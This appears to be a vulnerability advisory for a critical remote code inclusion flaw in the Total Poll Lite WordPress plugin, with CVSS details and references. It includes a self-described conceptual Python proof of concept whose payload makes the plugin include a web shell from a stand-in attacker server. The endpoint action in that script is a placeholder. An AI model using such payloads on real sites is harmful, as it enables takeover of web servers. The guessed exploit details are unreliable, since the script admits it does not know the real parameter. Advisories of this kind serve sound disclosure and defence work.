CVE-2026-27044

Description

Improper Control of Generation of Code ('Code Injection') vulnerability in TotalSuite Total Poll Lite totalpoll-lite allows Remote Code Inclusion.This issue affects Total Poll Lite: from n/a through <= 4.12.0.

CVSS Details

CVSS Score

9.9

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Total Poll Lite <= 4.12.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL structure for WordPress plugin exploitation
# This is a conceptual Proof of Concept for CVE-2026-27044
target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php"

# Malicious payload attempting to inject or include code
# The specific parameter depends on the vulnerable endpoint in totalpoll-lite
payload_data = {
    "action": "totalpoll vulnerable_action", 
    "poll_id": "1",
    "options": "{\"file\":\"http://attacker-server.com/shell.php\"}" 
}

headers = {
    "User-Agent": "CVE-2026-27044-Scanner",
    "Content-Type": "application/x-www-form-urlencoded"
}

try:
    response = requests.post(target_url, data=payload_data, headers=headers, timeout=10)
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[+] Check if the code was executed/included on the target.")
    else:
        print(f"[-] Server returned status code: {response.status_code}")
except requests.exceptions.RequestException as e:
    print(f"[-] Error connecting to target: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27044
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27044
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27044/
[4] VulDB https://vuldb.com/cve/CVE-2026-27044
[5] https://patchstack.com/database/Wordpress/Plugin/totalpoll-lite/vulnerability/wordpress-total-poll-lite-plugin-4-12-0-remote-code-execution-rce-vulnerability?_s_id=cve

Raw JSON Data

JSON

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